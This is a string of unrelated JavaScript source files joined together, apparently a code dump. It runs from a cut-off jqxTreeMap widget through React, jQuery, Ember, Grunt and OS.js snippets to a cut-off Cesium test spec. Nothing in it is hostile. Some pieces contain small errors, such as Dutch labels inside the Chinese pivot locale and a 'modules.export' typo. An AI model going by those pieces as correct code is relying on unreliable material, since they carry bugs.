f=this;e.bind("mouseenter",function(h){if(f.hoverEnabled){f.host.find(".jqx-treemap-rectangle").removeClass("jqx-treemap-rectangle-hover");e.addClass(f.toThemeProperty("jqx-treemap-rectangle-hover"))}f._trigger("mouseenterSector",g)});e.bind("mouseleave",function(h){if(f.hoverEnabled){e.removeClass("jqx-treemap-rectangle-hover")}f._trigger("mouseleaveSector",g)});e.bind("click",function(i){if(f.selectionEnabled){var h=c.data(this,"jqx-treemap-selected")||false;if(f.singleSelection){f.host.find(".jqx-treemap-rectangle-hover").each(function(j,k){c.data(k,"jqx-treemap-selected",false);c(k).removeClass("jqx-treemap-rectangle-hover")})}if(h){e.removeClass("jqx-treemap-rectangle-hover");h=false}else{e.addClass(f.toThemeProperty("jqx-treemap-rectangle-hover"));h=true}c.data(this,"jqx-treemap-selected",h);i.stopImmediatePropagation()}})},clearSelection:function(){this.host.find(".jqx-treemap-rectangle-hover").removeClass(this.toThemeProperty("jqx-treemap-rectangle-hover"));c.data(this,"jqx-treemap-selected",false)},_layoutArea:function(f,e){if(f.children.length&&f.children.length>0){this._centerLabel(e,a.HORIZONTAL);e.addClass(this.toThemeProperty("jqx-treemap-rectangle-parent"))}else{this._centerLabel(e,a.BOTH)}},_render:function(f,l){if(!f.children.length){return}var e=0;if(f.value){e=this.headerHeight}var n=this._getValues(f.children),g=f.area.offset(),j=l(n,f.area.width(),f.area.height()-e,0,e),k,m;for(var h=0;h<f.children.length;h+=1){k=f.children[h];m=this._renderRect(j[h],k);k.area=m;f.area.append(m);this._addHandlers(m,{label:k.label,value:k.value,color:k.color,sector:k.area,data:k.data});this._layoutArea(k,m);this._render(k,l)}},_layout:function(f,l){if(!f.children.length){return}var e=0;if(f.value){e=this.headerHeight}var n=this._getValues(f.children),g=f.area.offset(),h=l(n,f.area.width(),f.area.height()-e,0,e),m;for(var j=0;j<f.children.length;j+=1){var k=f.children[j];this._layoutRect(h[j],k);this._layoutArea(k,k.area);this._layout(k,l)}if(this.showLegend){c(".jqx-treemap-legend").remove();this._renderLegend()}},_layoutRect:function(i,f){var j=f.area,e=i[2]-i[0],l=i[3]-i[1];j.css({left:i[0]-1,top:i[1]-1,width:e,height:l});var k=this._colorEvaluator;var g=this._getColor(f);var h={data:f.data,label:f.label,value:f.value,parent:f.parent,record:f.record,color:g,rgb:k._toRgb(g)};if(f.parent==this._root){h.parent=null}if(typeof this.renderCallbacks["*"]==="function"){var m=this.renderCallbacks["*"](j,h);if(m!==undefined){return j}}if(typeof this.renderCallbacks[f.label]==="function"){this.renderCallbacks[f.label](j,h)}else{var e=j.width()-2;j.find(".jqx-treemap-label:first").css("max-width",e)}},_getBoundValues:function(){var g=this._root,f=[],k,j={},e={};j.value=g.value||Infinity;e.value=g.value||-Infinity;f.push(g);while(f.length){k=f.pop();if(j.value>k.value){j=k}if(e.value<k.value){e=k}for(var h=0;h<k.children.length;h+=1){f.push(k.children[h])}}return[j,e]},_getAutocolorRanges:function(){var l=this._getBoundValues(),g=5,e=l[1].value,j=l[0].value,f=(e-j)/g,m,k=[];for(var h=j;h<e;h+=f){m=Math.round(h);k.push({min:m,max:h+f,color:this._colorEvaluator.getColorByValue.call(this,m,this._dataList,this.baseColor)})}return k},_renderLegend:function(){if(!(/autoColors|rangeColors/).test(this.colorMode)||!this.showLegend){return}var e=this.colorRanges;if(this.colorMode==="autoColors"){e=this._getAutocolorRanges()}var f=this._renderColorLegend(e);this._renderLegendLabel(f)},_renderLegendLabel:function(f){var g=c('<tr><td colspan="'+f.find("td").length/2+'"/></tr>'),e=c('<div class="'+this.toThemeProperty("jqx-treemap-legend-label")+'" />');e.text(this.legendLabel);g.children().append(e);f.prepend(g)},_renderColorLegend:function(e){var o=c('<div class="'+this.toThemeProperty("jqx-treemap-legend")+'"/>'),q,n,r,p=function(i){return i};if(typeof this.legendScaleCallback==="function"){p=this.legendScaleCallback}var s=c('<table class="'+this.toThemeProperty("jqx-treemap-legend-table")+'"/>');o.append(s);s.append("<tr/>");o.append("<div/>");this.host.append(o);q=c(o.find("tr")[0]);n=c(o.find("div")[0]);n.addClass(this.toThemeProperty("jqx-treemap-legend-values"));var g=function(t,i){try{if(t.min<i.min){return -1}if(t.min>i.min){return 1}}catch(u){var v=u}return 0};e.sort(g);var f=Math.round(o.width()/e.length);var m=-2;var h=0;for(var k=0;k<e.length;k+=1){var j=c('<td class="'+this.toThemeProperty("jqx-treemap-legend-color")+'"/>');j.css("backgroundColor",e[k].color);q.append(j);if(k===0){var l=c('<span class="'+this.toThemeProperty("jqx-treemap-legend-max-value")+" "+this.toThemeProperty("jqx-treemap-legend-value")+'"/>');l.text(p(e[k].min));n.append(l);s.css("margin-left",l.width()/2);m+=l.width()/2;h=m}var l=c('<span class="'+this.toThemeProperty("jqx-treemap-legend-max-value")+" "+this.toThemeProperty("jqx-treemap-legend-value")+'"/>');m+=f;l.text(p(e[k].max));n.append(l);if(k==e.length-1){h+=l.width()/2;o.css("padding-right",h+5);m-=2}m-=l.width()/2;l.css("left",m);m+=l.width()/2}o.css({position:"absolute",left:this.legendPosition.x,bottom:this.legendPosition.y,visibility:(this.showLegend)?"visible":"hidden"});return o},_buildTree:function(k,f){var g=null,m,l,e=[];e.push(f);while(e.length){g=e.pop();for(var h=0;h<k.length;h+=1){l=k[h];if(l.parent===g.label||(!l.parent&&!g.label)){var j=g;m=new b(l.label,parseFloat(l.value,10),j,[],null,l.color,l.data,l.record);g.children.push(m);e.push(m)}}}return f},_buildList:function(){var f=[],e=[],h;e.push(this._root);while(e.length){h=e.pop();if(h!==this._root){f.push(h)}for(var g=0;g<h.children.length;g+=1){e.push(h.children[g])}}return f},propertyChangedHandler:function(g,e,h){if(e==="renderCallbacks"){return}if((/hoverEnabled|selectionEnabled/).test(e)){if(!h){this.host.find("jqx-treemap-rectangle-hover")}}else{if(e==="showLegend"){this.host.find("jqx-treemap-legend").toggle()}else{this._refresh()}}}})}(jqxBaseFramework));
'use strict'; Object.defineProperty(exports, "__esModule", { value: true }); var _react = require('react'); var _react2 = _interopRequireDefault(_react); var _pure = require('recompose/pure'); var _pure2 = _interopRequireDefault(_pure); var _SvgIcon = require('../../SvgIcon'); var _SvgIcon2 = _interopRequireDefault(_SvgIcon); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } var HardwareKeyboard = function HardwareKeyboard(props) { return _react2.default.createElement( _SvgIcon2.default, props, _react2.default.createElement('path', { d: 'M20 5H4c-1.1 0-1.99.9-1.99 2L2 17c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2zm-9 3h2v2h-2V8zm0 3h2v2h-2v-2zM8 8h2v2H8V8zm0 3h2v2H8v-2zm-1 2H5v-2h2v2zm0-3H5V8h2v2zm9 7H8v-2h8v2zm0-4h-2v-2h2v2zm0-3h-2V8h2v2zm3 3h-2v-2h2v2zm0-3h-2V8h2v2z' }) ); }; HardwareKeyboard = (0, _pure2.default)(HardwareKeyboard); HardwareKeyboard.displayName = 'HardwareKeyboard'; exports.default = HardwareKeyboard;
module.exports = new Date(1987, 6, 6)
const prompt = require('prompt'); prompt.colors = false; prompt.start(); prompt.get(['first', 'second'], (err, result) => { console.log('Command-line input received:'); console.log(` first: ${result.first}`); console.log(` second: ${result.second}`); });
(window.webpackJsonp=window.webpackJsonp||[]).push([[3],{37:function(n,o,t){"use strict";t.r(o);var i=t(0),c=t.n(i),e=t(109),a=t(105),w=t.n(a);o.default=function(){try{window&&window.location.replace("".concat(window.location.origin).concat(w()(window.location.search.substring(1))))}catch(n){console.log("Window still not defined")}return c.a.createElement(e.a,{title:"Redirect to storybook"},"Redirecting...")}}}]);
"use strict"; class UserController { signup({ request, response }) { return response.send(request); } } module.exports = UserController;
$(document).ready(function() { pageLoad(1) }) $('#search').on('keypress', function(e) { if (e.which == 13) { pageLoad(1); } }); function pageLoad(page=1) { var search = $('#search').val(); var limit = $('#limit').val(); var id_th = $('#hidden_id_th').val(); var column_name = $('#hidden_column_name').val(); var sort_type = $('#hidden_sort_type').val(); $.ajax({ url: base_url + "/Satuan/fetch_data", type: 'GET', dataType: 'html', data: { page : page, sortby : column_name, sorttype : sort_type, limit : limit, search : search, }, beforeSend: function() {}, success: function(result) { $('#list').html(result); $('#hidden_page').val(page); sort_finish(id_th,sort_type); } }); } function sort_table(id, column){ var sort = $(id).attr("data-sort"); $('#hidden_id_th').val(id); $('#hidden_column_name').val(column); if(sort=="asc"){ sort = 'desc'; }else if(sort=="desc"){ sort = 'asc'; }else{ sort = 'asc'; } $('#hidden_sort_type').val(sort); $('#hidden_page').val(1); pageLoad(1); } $('#btn-create').on('click', function() { $.ajax({ url: base_url + "/Satuan/load_modal", type: 'POST', data : {}, dataType: 'html', beforeSend: function() {}, success: function(result) { $('#div_modal').html(result); $('#modalTitleAdd').show(); $('#modeform').val('ADD'); $('#formModal').modal('show'); } }); }); $(document).on('click', '.btn-edit', function(event) { event.preventDefault(); var id = $(this).attr('data-id'); $.ajax({ url: base_url + "/Satuan/load_modal", type: 'POST', dataType: 'html', data:{id:id}, beforeSend: function () {}, success: function (result) { $('#div_modal').html(result); $('#modalTitleEdit').show(); $('#modeform').val('UPDATE'); $('#formModal').modal('show'); } }); }); $(document).on('click', '.btn-delete', function(e) { var id = $(this).attr('data-id'); var title = $(this).attr('data-name'); var page = $('#hidden_page').val(); Swal.fire({ title: 'Hapus Satuan', text: "Apakah Anda yakin menghapus data ?", icon: 'warning', showCancelButton: true, confirmButtonColor: '#d33', cancelButtonColor: '#95a5a6', confirmButtonText: 'Hapus', cancelButtonText: 'Batal', showLoaderOnConfirm: true, preConfirm: function () { return new Promise(function (resolve) { $.ajax({ method: 'GET', dataType: 'json', url: base_url + "/Satuan/delete/" + id, data: {}, success: function (data) { if (data.success === true) { Toast.fire({ icon: 'success', title: data.message }); swal.hideLoading() pageLoad(page); } else { Swal.fire({ icon: 'error', title: 'Oops...', text: data.message }); } }, fail: function (e) { alert(e); } }); }); }, allowOutsideClick: false }); e.preventDefault(); }); $(document).on('submit', '#formData', function(event) { event.preventDefault(); var modeform = $('#modeform').val(); var page = (modeform=='UPDATE') ? $('#hidden_page').val() : 1; $.ajax({ url: base_url + "/Satuan/save", method: 'POST', dataType: 'json', data: new FormData($('#formData')[0]), async: true, processData: false, contentType: false, success: function (data) { if (data.success == true) { Toast.fire({ icon: 'success', title: data.message }); $('#formModal').modal('hide'); pageLoad(page); } else { Swal.fire({icon: 'error',title: 'Oops...',text: data.message}); } }, fail: function (event) { alert(event); } }); });
import React from 'react'; import Layout from '../../layout/Layout'; import SetCrumbs from '../../config/SetCrumbs'; const Codigomate = () => { return ( <Layout> <SetCrumbs second="Acerca" third="Codigo Mate" /> Codigo Mate </Layout> ) } export default Codigomate;
(function() { var callWithJQuery; callWithJQuery = function(pivotModule) { if (typeof exports === "object" && typeof module === "object") { return pivotModule(require("jquery")); } else if (typeof define === "function" && define.amd) { return define(["jquery"], pivotModule); } else { return pivotModule(jQuery); } }; callWithJQuery(function($) { var c3r, d3r, frFmt, frFmtInt, frFmtPct, gcr, nf, r, tpl; nf = $.pivotUtilities.numberFormat; tpl = $.pivotUtilities.aggregatorTemplates; r = $.pivotUtilities.renderers; gcr = $.pivotUtilities.gchart_renderers; d3r = $.pivotUtilities.d3_renderers; c3r = $.pivotUtilities.c3_renderers; frFmt = nf({ thousandsSep: ",", decimalSep: "." }); frFmtInt = nf({ digitsAfterDecimal: 0, thousandsSep: ",", decimalSep: "." }); frFmtPct = nf({ digitsAfterDecimal: 2, scaler: 100, suffix: "%", thousandsSep: ",", decimalSep: "." }); return $.pivotUtilities.locales.zh = { localeStrings: { renderError: "展示结果时出错。", computeError: "计算结果时出错。", uiRenderError: "展示界面时出错。", selectAll: "选择全部", selectNone: "全部不选", tooMany: "(因数据过多而无法列出)", filterResults: "输入值帮助筛选", totals: "合计", vs: "于", by: "分组于" }, aggregators: { "频数": tpl.count(frFmtInt), "非重复值的个数": tpl.countUnique(frFmtInt), "列出非重复值": tpl.listUnique(", "), "求和": tpl.sum(frFmt), "求和后取整": tpl.sum(frFmtInt), "平均值": tpl.average(frFmt), "最小值": tpl.min(frFmt), "最大值": tpl.max(frFmt), "第一": tpl.first(frFmt), "最后": tpl.last(frFmt), "两和之比": tpl.sumOverSum(frFmt), "二项分布:置信度为80%时的区间上限": tpl.sumOverSumBound80(true, frFmt), "二项分布:置信度为80%时的区间下限": tpl.sumOverSumBound80(false, frFmt), "和在总计中的比例": tpl.fractionOf(tpl.sum(), "total", frFmtPct), "和在行合计中的比例": tpl.fractionOf(tpl.sum(), "row", frFmtPct), "和在列合计中的比例": tpl.fractionOf(tpl.sum(), "col", frFmtPct), "频数在总计中的比例": tpl.fractionOf(tpl.count(), "total", frFmtPct), "频数在行合计中的比例": tpl.fractionOf(tpl.count(), "row", frFmtPct), "频数在列合计中的比例": tpl.fractionOf(tpl.count(), "col", frFmtPct) }, aggregatorsMap: { "Count": "频数", "Count Unique Values": "非重复值的个数", "List Unique Values": "列出非重复值", "Sum": "求和", "Integer Sum": "求和后取整", "Average": "平均值", "Minimum": "最小值", "Maximum": "最大值", "First": "第一", "Last": "最后", "Sum over Sum": "两和之比", "80% Upper Bound": "二项分布:置信度为80%时的区间上限", "80% Lower Bound": "二项分布:置信度为80%时的区间下限", "Sum as Fraction of Total": "和在总计中的比例", "Sum as Fraction of Rows": "和在行合计中的比例", "Sum as Fraction of Columns": "和在列合计中的比例", "Count as Fraction of Total": "频数在总计中的比例", "Count as Fraction of Rows": "频数在行合计中的比例", "Count as Fraction of Columns": "频数在列合计中的比例" }, renderers: { "表格": r["Table"], "表格内柱状图": r["Table Barchart"], "热图": r["Heatmap"], "行热图": r["Row Heatmap"], "列热图": r["Col Heatmap"] }, renderersMap: { "Table": "表格", "Table Barchart": "表格内柱状图", "Heatmap": "热图", "Row Heatmap": "行热图", "Col Heatmap": "Warmtekaart per kolom", "Table With Subtotal": "表格", "Table With Subtotal Bar Chart": "表格内柱状图", "Table With Subtotal Heatmap": "热图", "Table With Subtotal Row Heatmap": "行热图", "Table With Subtotal Col Heatmap": "列热图", "TSV Export": "TSV Export", "折线图": "Lijndiagram", "柱状图": "Staafdiagram", "Stacked Bar Chart": "堆叠柱状图", "Area Chart": "面积图", "Scatter Chart": "散点图" } }; }); }).call(this); //# sourceMappingURL=pivot.zh.js.map
module.exports = function ( grunt ) { 'use strict'; /** * Tasks and configuration * * @link https://github.com/firstandthird/load-grunt-config */ require('load-grunt-config')(grunt, { configPath: require('path').join( process.cwd(), 'grunt-tasks' ), init: true, data: { config: { "theme" : { "name" : "_frc", "description" : "Theme for <code>_frc</code>", "theme_uri" : "", "author" : "Frantic", "author_uri" : "http://www.frantic.com/", "text_domain" : "_frc", "version" : "1.0.0", "location" : "../../.", "browser_support" : "last 3 versions", "assets" : { "css" : { "location" : "../css", "admin" : "admin.css", "editor" : "editor-style.css", "login" : "login.css", "main" : "main.min.css", "print" : "print.css" }, "js" : { "location" : "../js", "main" : "main.min.js" } }, "source" : { "js" : { "location" : "js", "main" : "main.js" }, "lang_files" : "../../languages", "php_files" : "../../.", "sass" : { "location" : "sass", "admin" : "admin.scss", "editor" : "editor-style.scss", "login" : "login.scss", "main" : "main.scss", "print" : "print.scss" } } } }, }, // Can optionally pass options to load-grunt-tasks. // If you set to false, it will disable auto loading tasks. loadGruntTasks: { pattern: 'grunt-*', config: require('./package.json'), scope: 'devDependencies' }, // Can post process config object before it gets passed to grunt postProcess: function( config ) {}, // Allows to manipulate the config object before it gets merged with the data object preMerge: function( config, data ) {} }); require('time-grunt')( grunt ); };
const Discord = require('discord.js'); modules.export = class CharacterClass { constructor() { } levelUp() { } increaseHitDice() { } checkProficiencyBonus() { } }
import { assert } from '@ember/debug'; import { later } from '@ember/runloop'; import EmberObject, { computed } from '@ember/object'; import EventedMixin from '@ember/object/evented'; import Promise from "ember-inspector/models/promise"; let arrayComputed = computed(function() { return []; }); let objectComputed = computed(function() { return {}; }); export default EmberObject.extend(EventedMixin, { all: arrayComputed, topSort: arrayComputed, topSortMeta: objectComputed, promiseIndex: objectComputed, // Used to track whether current message received // is the first in the request // Mainly helps in triggering 'firstMessageReceived' event firstMessageReceived: false, start() { this.get('port').on('promise:promisesUpdated', this, this.addOrUpdatePromises); this.get('port').send('promise:getAndObservePromises'); }, stop() { this.get('port').off('promise:promisesUpdated', this, this.addOrUpdatePromises); this.get('port').send('promise:releasePromises'); this.reset(); }, reset() { this.set('topSortMeta', {}); this.set('promiseIndex', {}); this.get('topSort').clear(); this.set('firstMessageReceived', false); let all = this.get('all'); // Lazily destroy promises // Allows for a smooth transition on deactivate, // and thus providing the illusion of better perf later(this, function() { this.destroyPromises(all); }, 500); this.set('all', []); }, destroyPromises(promises) { promises.forEach(function(item) { item.destroy(); }); }, addOrUpdatePromises(message) { this.rebuildPromises(message.promises); if (!this.get('firstMessageReceived')) { this.set('firstMessageReceived', true); this.trigger('firstMessageReceived'); } }, rebuildPromises(promises) { promises.forEach(props => { props = Object.assign({}, props); let childrenIds = props.children; let parentId = props.parent; delete props.children; delete props.parent; if (parentId && parentId !== props.guid) { props.parent = this.updateOrCreate({ guid: parentId }); } let promise = this.updateOrCreate(props); if (childrenIds) { childrenIds.forEach(childId => { // avoid infinite recursion if (childId === props.guid) { return; } let child = this.updateOrCreate({ guid: childId, parent: promise }); promise.get('children').pushObject(child); }); } }); }, updateTopSort(promise) { let topSortMeta = this.get('topSortMeta'); let guid = promise.get('guid'); let meta = topSortMeta[guid]; let isNew = !meta; let hadParent = false; let hasParent = !!promise.get('parent'); let topSort = this.get('topSort'); let parentChanged = isNew; if (isNew) { meta = topSortMeta[guid] = {}; } else { hadParent = meta.hasParent; } if (!isNew && hasParent !== hadParent) { // todo: implement recursion to reposition children topSort.removeObject(promise); parentChanged = true; } meta.hasParent = hasParent; if (parentChanged) { this.insertInTopSort(promise); } }, insertInTopSort(promise) { let topSort = this.get('topSort'); if (promise.get('parent')) { let parentIndex = topSort.indexOf(promise.get('parent')); topSort.insertAt(parentIndex + 1, promise); } else { topSort.pushObject(promise); } promise.get('children').forEach(child => { topSort.removeObject(child); this.insertInTopSort(child); }); }, updateOrCreate(props) { let guid = props.guid; let promise = this.findOrCreate(guid); promise.setProperties(props); this.updateTopSort(promise); return promise; }, createPromise(props) { let promise = Promise.create(props); let index = this.get('all.length'); this.get('all').pushObject(promise); this.get('promiseIndex')[promise.get('guid')] = index; return promise; }, find(guid) { if (guid) { let index = this.get('promiseIndex')[guid]; if (index !== undefined) { return this.get('all').objectAt(index); } } else { return this.get('all'); } }, findOrCreate(guid) { if (!guid) { assert('You have tried to findOrCreate without a guid'); } return this.find(guid) || this.createPromise({ guid }); } });
var reg = /:([^\\/]+)/; console.log(reg.exec('/:abc(\d+)/'));
const fetch = require('node-fetch') const getHeaders = ({ token }) => { return { 'Content-Type': 'application/json', 'Authorization': `Bearer ${token}`, } } const getErrorMessage = async ({ response }) => { const contentType = response.headers.get('content-type') if (contentType && contentType.includes('application/json')) { const json = await response.json() return json.message } const text = await response.text() return text } const checkResponse = async ({ response }) => { if (!response.ok) { const message = await getErrorMessage({ response }).catch(() => {}) const errorPostfix = message && message ? ` and message '${message}'` : '' throw new Error(`Request failed with status '${response.status}'${errorPostfix}`) } } const getApiUrl = ({ api }) => { return `${api.scheme}://${api.host}${api.pathPrefix}` } const apiPost = async ({ api, path, data }) => { const apiUrl = getApiUrl({ api }) const response = await fetch(`${apiUrl}/${path}`, { method: 'POST', body: JSON.stringify(data), headers: getHeaders({ token: api.accessToken }), agent: api.agent, }) await checkResponse({ response }) return response } const uploadEdgeHandlers = async ({ api, deployId, bundleBuffer, manifest }) => { // TODO: use open-api spec via api when it is exposed const response = await apiPost({ api, path: `deploys/${deployId}/edge_handlers`, data: manifest }) const { error, exists, upload_url: uploadUrl } = await response.json() if (error) { throw new Error(error) } if (exists) { return false } if (!uploadUrl) { throw new Error('Missing upload URL') } const putResponse = await fetch(uploadUrl, { method: 'PUT', body: bundleBuffer, headers: { 'Content-Type': 'application/javascript', }, agent: api.agent, }) await checkResponse({ response: putResponse }) return true } const cancelDeploy = async ({ api, deployId, warn }) => { try { await api.cancelSiteDeploy({ deploy_id: deployId }) } catch (error) { warn(`Failed canceling deploy with id ${deployId}: ${error.message}`) } } module.exports = { uploadEdgeHandlers, cancelDeploy }
import React from 'react'; import {BrowserRouter as Router,Switch, Route} from 'react-router-dom' import {render} from 'react-dom' import Play from './components/Play'; import practiceSettings from './components/practiceSettings' import battleBits from './components/battleBits' import Landing from './components/landing.js' import battleSettings from './components/battleSettings.js' render( <div> <Router> <Switch> <Route exact path="/" component={Landing} /> <Route exact path="/practiceSettings" component={practiceSettings} /> <Route exact path="/play" component={Play} /> <Route exact path="/BattleSettings" component={battleSettings} /> <Route exact path="/battleBits" component={battleBits} /> </Switch> </Router> </div>, document.getElementById('root'))
/** * @class Oskari.lupapiste.bundle.myplaces2.request.DeleteCategoryRequest * Requests a "my place" maplayer/category to be deleted * * Requests are build and sent through Oskari.mapframework.sandbox.Sandbox. * Oskari.mapframework.request.Request superclass documents how to send one. */ Oskari.clazz.define('Oskari.lupapiste.bundle.myplaces2.request.DeleteCategoryRequest', /** * @method create called automatically on construction * @static * * @param {Number} * categoryId id of category to be edited */ function(categoryId) { this._categoryId = categoryId; }, { __name : "LupaPisteMyPlaces.DeleteCategoryRequest", /** * @method getName * @return {String} request name */ getName : function() { return this.__name; }, /** * @method getId * @return {Number} id of category to be deleted */ getId : function() { return this._categoryId; } }, { /** * @property {String[]} protocol array of superclasses as {String} * @static */ 'protocol' : ['Oskari.mapframework.request.Request'] });
define([ "./scheme.html" ], function (schemeHtml) { const Window = OSjs.require('core/window'); const Application = OSjs.require('core/application'); class ApplicationProcessViewerWindow extends Window { constructor(app, metadata) { super('ApplicationProcessViewerWindow', { icon: metadata.icon, title: metadata.name, width: 400, height: 300 }, app); this.interval = null; } init(wm, app) { const root = super.init(...arguments); // Load and set up scheme (GUI) here this._render('ProcessViewerWindow', schemeHtml); var view = this._find('View'); function update() { var now = new Date(); var rows = []; Application.getProcesses().forEach(function(p) { if ( p ) { var alive = now - p.__started; var iter = { value: p.__pid, id: p.__pid, columns: [ {label: p.__pname}, {label: p.__pid.toString(), textalign: 'right'}, {label: alive.toString(), textalign: 'right'} ] }; rows.push(iter); } }); view.patch(rows); } view.set('columns', [ {label: 'Name'}, {label: 'PID', size: '60px', textalign: 'right'}, {label: 'Alive', size: '60px', textalign: 'right'} ]); this._find('ButtonKill').on('click', function() { var selected = view.get('selected'); if ( selected && selected[0] && typeof selected[0].data !== 'undefined' ) { Application.kill(selected[0].data); } }); this.interval = setInterval(function() { update(); }, 1000); update(); return root; } destroy() { super.destroy(...arguments); this.interval = clearInterval(this.interval); } } class ApplicationProcessViewer extends Application { constructor(args, metadata) { super('ApplicationProcessViewer', args, metadata); } init(settings, metadata) { super.init(...arguments); this._addWindow(new ApplicationProcessViewerWindow(this, metadata)); } } OSjs.Applications.ApplicationProcessViewer = ApplicationProcessViewer; });
define([ 'Core/ArcGISTiledElevationTerrainProvider', 'Core/DefaultProxy', 'Core/GeographicTilingScheme', 'Core/HeightmapTerrainData', 'Core/Math', 'Core/Request', 'Core/RequestScheduler', 'Core/Resource', 'Core/RuntimeError', 'Core/TerrainProvider', 'Core/WebMercatorTilingScheme', 'Specs/pollToPromise' ], function( ArcGISTiledElevationTerrainProvider, DefaultProxy, GeographicTilingScheme, HeightmapTerrainData, CesiumMath, Request, RequestScheduler, Resource, RuntimeError, TerrainProvider, WebMercatorTilingScheme, pollToPromise) { 'use strict'; describe('Core/ArcGISTiledElevationTerrainProvider', function() { var lercTileUrl = 'Data/Images/Red16x16.png'; var availability; var metadata; beforeEach(function() { availability = { data : [] }; availability.data.length = 128*128; availability.data.fill(1); metadata = { currentVersion: 10.3, serviceDescription: 'Test', name: 'Test', description: 'Test', extent: { xmin: -2.0037507842788246E7, ymin: -2.0037508659999996E7, xmax: 2.0037509157211754E7, ymax: 2.0037508340000004E7, spatialReference: { wkid: 102100, latestWkid: 3857 } }, bandCount: 1, copyrightText: 'Source: USGS, NGA, NASA, CGIAR, GEBCO,N Robinson,NCEAS,NLS,OS,NMA,Geodatastyrelsen and the GIS User Community', minValues: [ -450 ], maxValues: [ 8700 ], capabilities: 'Image,Tilemap,Mensuration', tileInfo: { rows: 256, cols: 256, format: 'LERC', lods: [ { level: 0, resolution: 156543.03392800014, scale: 5.91657527591555E8 }, { level: 1, resolution: 78271.51696399994, scale: 2.95828763795777E8 }, { level: 2, resolution: 39135.75848200009, scale: 1.47914381897889E8 }, { level: 3, resolution: 19567.87924099992, scale: 7.3957190948944E7 }, { level: 4, resolution: 9783.93962049996, scale: 3.6978595474472E7 }, { level: 5, resolution: 4891.96981024998, scale: 1.8489297737236E7 }, { level: 6, resolution: 2445.98490512499, scale: 9244648.868618 }, { level: 7, resolution: 1222.992452562495, scale: 4622324.434309 }, { level: 8, resolution: 611.4962262813797, scale: 2311162.217155 }, { level: 9, resolution: 305.74811314055756, scale: 1155581.108577 }, { level: 10, resolution: 152.87405657041106, scale: 577790.554289 }, { level: 11, resolution: 76.43702828507324, scale: 288895.277144 }, { level: 12, resolution: 38.21851414253662, scale: 144447.638572 }, { level: 13, resolution: 19.10925707126831, scale: 72223.819286 }, { level: 14, resolution: 9.554628535634155, scale: 36111.909643 }, { level: 15, resolution: 4.77731426794937, scale: 18055.954822 }, { level: 16, resolution: 2.388657133974685, scale: 9027.977411 } ] }, spatialReference: { wkid: 3857, latestWkid: 3857 } }; RequestScheduler.clearForSpecs(); Resource._Implementations.loadWithXhr = function(url, responseType, method, data, headers, deferred, overrideMimeType) { // Tile request if (url.indexOf('/tile/') !== -1) { Resource._DefaultImplementations.loadWithXhr(lercTileUrl, responseType, method, data, headers, deferred, overrideMimeType); return; } // Availability request if (url.indexOf('/tilemap/') !== -1) { setTimeout(function() { deferred.resolve(JSON.stringify(availability)); }, 1); return; } // Metadata setTimeout(function() { deferred.resolve(JSON.stringify(metadata)); }, 1); }; }); afterEach(function() { Resource._Implementations.createImage = Resource._DefaultImplementations.createImage; Resource._Implementations.loadWithXhr = Resource._DefaultImplementations.loadWithXhr; }); function createRequest() { return new Request({ throttleByServer : true }); } it('conforms to TerrainProvider interface', function() { expect(ArcGISTiledElevationTerrainProvider).toConformToInterface(TerrainProvider); }); it('constructor throws if url is not provided', function() { expect(function() { return new ArcGISTiledElevationTerrainProvider(); }).toThrowDeveloperError(); expect(function() { return new ArcGISTiledElevationTerrainProvider({ }); }).toThrowDeveloperError(); }); it('resolves readyPromise', function() { var provider = new ArcGISTiledElevationTerrainProvider({ url : 'made/up/url' }); return provider.readyPromise.then(function (result) { expect(result).toBe(true); expect(provider.ready).toBe(true); }); }); it('resolves readyPromise with Resource', function() { var resource = new Resource({ url : 'made/up/url' }); var provider = new ArcGISTiledElevationTerrainProvider({ url : resource }); return provider.readyPromise.then(function (result) { expect(result).toBe(true); expect(provider.ready).toBe(true); }); }); it('has error event', function() { var provider = new ArcGISTiledElevationTerrainProvider({ url : 'made/up/url' }); expect(provider.errorEvent).toBeDefined(); expect(provider.errorEvent).toBe(provider.errorEvent); }); it('returns reasonable geometric error for various levels', function() { var provider = new ArcGISTiledElevationTerrainProvider({ url : 'made/up/url' }); return pollToPromise(function() { return provider.ready; }).then(function() { expect(provider.getLevelMaximumGeometricError(0)).toBeGreaterThan(0.0); expect(provider.getLevelMaximumGeometricError(0)).toEqualEpsilon(provider.getLevelMaximumGeometricError(1) * 2.0, CesiumMath.EPSILON10); expect(provider.getLevelMaximumGeometricError(1)).toEqualEpsilon(provider.getLevelMaximumGeometricError(2) * 2.0, CesiumMath.EPSILON10); }); }); it('getLevelMaximumGeometricError must not be called before isReady returns true', function() { var provider = new ArcGISTiledElevationTerrainProvider({ url : 'made/up/url' }); expect(function() { provider.getLevelMaximumGeometricError(0); }).toThrowDeveloperError(); }); it('getTilingScheme must not be called before isReady returns true', function() { var provider = new ArcGISTiledElevationTerrainProvider({ url : 'made/up/url' }); expect(function() { return provider.tilingScheme; }).toThrowDeveloperError(); }); it('logo is undefined if credit is not provided', function() { delete metadata.copyrightText; var provider = new ArcGISTiledElevationTerrainProvider({ url : 'made/up/url' }); return pollToPromise(function() { return provider.ready; }).then(function() { expect(provider.credit).toBeUndefined(); }); }); it('logo is defined if credit is provided', function() { var provider = new ArcGISTiledElevationTerrainProvider({ url : 'made/up/url', credit : 'thanks to our awesome made up contributors!' }); return pollToPromise(function() { return provider.ready; }).then(function() { expect(provider.credit).toBeDefined(); }); }); it('does not have a water mask', function() { var provider = new ArcGISTiledElevationTerrainProvider({ url : 'made/up/url' }); expect(provider.hasWaterMask).toBe(false); }); it('is not ready immediately', function() { var provider = new ArcGISTiledElevationTerrainProvider({ url : 'made/up/url' }); expect(provider.ready).toBe(false); }); it('detects WebMercator tiling scheme', function() { var baseUrl = 'made/up/url'; var terrainProvider = new ArcGISTiledElevationTerrainProvider({ url : baseUrl }); return pollToPromise(function() { return terrainProvider.ready; }).then(function() { expect(terrainProvider.tilingScheme).toBeInstanceOf(WebMercatorTilingScheme); }); }); it('detects Geographic tiling scheme', function() { var baseUrl = 'made/up/url'; metadata.spatialReference.latestWkid = 4326; var terrainProvider = new ArcGISTiledElevationTerrainProvider({ url : baseUrl }); return pollToPromise(function() { return terrainProvider.ready; }).then(function() { expect(terrainProvider.tilingScheme).toBeInstanceOf(GeographicTilingScheme); }); }); it('raises an error if the SRS is not supported', function() { var baseUrl = 'made/up/url'; metadata.spatialReference.latestWkid = 1234; var terrainProvider = new 